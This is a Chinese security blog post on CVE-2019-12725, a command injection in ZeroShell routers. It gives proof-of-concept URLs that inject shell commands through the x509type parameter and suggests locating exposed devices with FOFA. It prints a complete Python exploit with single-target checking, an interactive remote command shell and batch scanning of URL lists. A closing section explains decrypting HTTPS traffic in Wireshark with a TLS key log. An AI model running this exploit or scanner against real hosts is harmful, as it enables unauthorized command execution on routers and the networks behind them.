抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞详情

Zeroshell 是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务,而且安装和使用都很方便,有U盘,Live CD和Flash imgage文件用于安装,可以使用web界面进行设置和管理。想自己部署软路由,又不想编译,找驱动程序,或者别人编译的固件有后门,可以考虑用Zeroshell替代Openwrt/LEDE。

总的来说Zeroshell的特性包括:

  • 负载均衡及多网络连接的失效转移,通过3G调制解调器的UMTS/HSDPA连接

  • 用于提供安全认证和无线网络加密密钥自动管理的RADIUS服务器

  • 用于支持网页登录的强制网络门户(商场和酒店等商用场景)


影响版本

ZeroShell < 3.9.0

验证POC

1
2
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A<cmd>%0A%27

复现

fofa搜索,找到网络中该设备

exp

python3 CVE-2019-12725.py -u http://127.0.0.1:1111 单个url测试

python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell模式

python3 CVE-2019-12725.py -f url.txt 批量检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]

#随机ua
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua


def check_vuln(url):
url = parse.urlparse(url)
url2=url.scheme + '://' + url.netloc
headers = {
'User-Agent': get_ua(),
}
# data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")
try:
res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)
if res2.status_code==200 and "uid" in res2.text:
print("\033[32m[+]%s is vuln\033[0m" %url2)
return 1
else:
print("\033[31m[-]%s is not vuln\033[0m" %url1)
except Exception as e:
print("\033[31m[-]%s is timeout\033[0m" %url2)


#cmdshell
def cmdshell(url):
if check_vuln(url)==1:
url = parse.urlparse(url)
url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'
while 1:
shell = input("\033[35mcmd: \033[0m")
if shell =="exit":
sys.exit(0)
else:
headers = {
'User-Agent': get_ua(),
}
try:
res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)
if res.status_code==200 and len(res.text) != 0:
vulntext=res.text.split('<html>')
print("\033[32m%s\033[0m" %vulntext[0])
else:
print("\033[31m[-]%s Command execution failed !\033[0m" %url1)
except Exception as e:
print("\033[31m[-]%s is timeout!\033[0m" %url1)


#多线程
def multithreading(url_list, pools=5):
works = []
for i in url_list:
# works.append((func_params, None))
works.append(i)
# print(works)
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(check_vuln, works)
[pool.putRequest(req) for req in reqs]
pool.wait()


if __name__ == '__main__':
show = r'''
_____ _ _ _____ _____ _____ __ _____ __ _____ ___________ _____
/ __ \ | | | ___| / __ \| _ |/ | | _ | / | / __ \|___ / __ \| ___|
| / \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /' / /`' / /'|___ \
| | | | | | __|______| / / | /| | | | \____ |______|| | / / / / / / \ \
| \__/\ \_/ / |___ ./ /___\ |_/ /_| |_.___/ / _| |_./ /___./ / ./ /___/\__/ /
\____/\___/\____/ \_____/ \___/ \___/\____/ \___/\_____/\_/ \_____/\____/



CVE-2019-12725 By m2
'''
print(show + '\n')
arg=ArgumentParser(description='CVE-2019-12725 By m2')
arg.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
arg.add_argument("-f",
"--file",
help="Target URL; Example:url.txt")
arg.add_argument("-c",
"--cmd",
help="Target URL; Example:http://ip:port")
args=arg.parse_args()
url=args.url
filename=args.file
cmd=args.cmd
print('[*]任务开始...')
if url != None and cmd == None and filename == None:
check_vuln(url)
elif url == None and cmd == None and filename != None:
start=time()
for i in open(filename):
i=i.replace('\n','')
check_vuln(i)
end=time()
print('任务完成,用时%d' %(end-start))
elif url == None and cmd != None and filename == None:
cmdshell(cmd)


流量分析

由于是https协议,wireshark抓包后都是加密流量,需要对流量进行解密。

原理

SSL/TLS的整个握手过程:

  • Clienthello:发送客户端的功能和首选项给服务器,在连接建立后,当希望重协商、或者响应服务器的重协商请求时会发送。
    • version:客户端支持的最佳协议版本
    • Random:共32字节,28字节随机数,4字节额外信息,受客户端时钟影响(为了避免浏览器指纹采集,现在一般会对4字节时钟做扭曲)
    • Session ID:32字节随机数,用于和服务器重建会话,为空表示新建会话
    • cipher suit:客户端支持的所有密码套件,按优先级排列
    • Compression:客户端支持的压缩算法,默认无压缩
    • Extensions:由任意数量的扩展组成,携带额外数据
  • ServerHello:
    • 选择客户端提供的参数反馈客户端
    • 服务器无需支持客户端支持的最佳版本,如果服务器不支持客户端版本,可以提供其他版本以期待客户端可以接受
  • Certificate:
    • 用于携带服务器X.509证书链
    • 主证书必须第一个发送,中间证书按照正确的顺序跟在主证书之后
    • 服务器必须保证发送的证书和选择的算法套件一致
    • Certificate消息时可选的
  • ServerKeyExchange: 携带密钥交换的额外数据,取决于加密套件
  • ServerHelloDone:服务器已将所有预计的握手消息发送完毕
  • ClientkeyExchange:携带客户端为密钥交换提供的信息
  • ChangeCipherSpec:发送端已取得用以连接参数的足够的信息
  • Finish:握手完成,消息内容加密,双方可以交换验证,整个握手完整性所需的数据
    • 算法:verrify_data = PRF(master_secret , finished_label,hash(handshake_message))

破解方式

要解密HTTPS流量,需要得到加密密钥,加密密钥由主密钥、客户端随机数、服务器随机数生成。由上述握手过程可知,客户端随机数和服务器随机数在双方握手消息中传递,而主密钥(master_secret)则由预主密钥(pre_master_secret)结合两个随机数生成。预主密钥通过密码套件中的密钥交换算法进行交换(DH、RSA)。

因此,通过Wireshark解密HTTPS,可以从两个地方下手:

  1. 密钥交换算法选择RSA,然后提取服务器的私钥,将私钥导入Wireshark,通过Wireshark解密密钥交换过程中传递的预主密钥,再结合之前的客户端和服务器随机数生成主密钥,进一步生成加密密钥,即可解密后续抓取到的加密报文。
  2. 直接从客户端提取预主密钥,结合客户端和服务器随机数生成加密密钥,实现对加密报文的解密。

方法一

方法二

1
2
3
4
5
6
7
mkdir ~/tls && touch ~/tls/sslkeylog.log

#zsh
echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.zshrc && source ~/.zshrc

#bash
echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bash_profile && . ~/.bash_profile

让Wireshark读取密钥文件

WiresharkSSL 配置面板的 「(Pre)-Master-Secret log filename」选项中这个文件选上(编辑->=首选项->协议)。如下图

在这里插入图片描述

注意,这是老版本的wireshark,如果发现没有SSL选项,则选择TLS,新版本的是TLS;但是配置是一样的;

SSL debug file」也建议配上,这样解密过程中的日志都会记录下来,便于调试。

新版 Wireshark 在配置了 TLS 加密后,会自动识别并解析 HTTPS 流量。访问想要抓包的 HTTPS 网站,根据 IP 和协议过滤一下,就可以轻松看到想要的 HTTPS 数据包了。


配置好密钥之后,重新抓取。

解密成功

follow http

参考文章

https://github.com/MzzdToT/CVE-2019-12725

https://www.csdn.net/tags/MtTaMg1sMzE3MzU3LWJsb2cO0O0O.html

评论